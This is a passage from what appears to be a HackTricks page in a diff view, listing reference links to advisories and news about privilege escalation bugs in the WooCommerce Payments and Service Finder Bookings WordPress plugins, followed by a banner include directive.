- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user